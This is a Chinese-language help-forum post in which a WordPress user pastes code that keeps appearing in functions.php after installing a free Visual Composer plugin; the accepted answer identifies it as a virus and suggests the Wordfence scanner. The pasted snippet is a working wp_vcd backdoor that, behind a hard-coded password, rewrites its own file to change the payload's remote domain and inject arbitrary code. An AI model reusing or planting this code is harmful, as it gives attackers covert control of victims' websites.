我在过去 3-4 天面临一个问题。在我的 WordPress functions.php 文件中，会自动生成一些代码。我不知道为什么会这样。我已经安装了一个免费的视觉 Composer 。不知道是不是这个原因。我什至无法删除代码。如何修复它。这是自动生成的代码:
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '4481ccb95b8bf8572a3491066dfd567d')) {
$div_code_name = "wp_vcd";
switch ($_REQUEST['action']) {
case 'change_domain';
if (isset($_REQUEST['newdomain'])) {
if (!empty($_REQUEST['newdomain'])) {
if ($file = @file_get_contents(__FILE__)) {
if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) {
$file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode'])) {
if (!empty($_REQUEST['newcode'])) {
if ($file = @file_get_contents(__FILE__)) {
if (preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode)) {
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default:
print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;

最佳答案
您的网站有病毒。您可以下载 wordfence 插件来检查哪些文件被感染并删除它们。
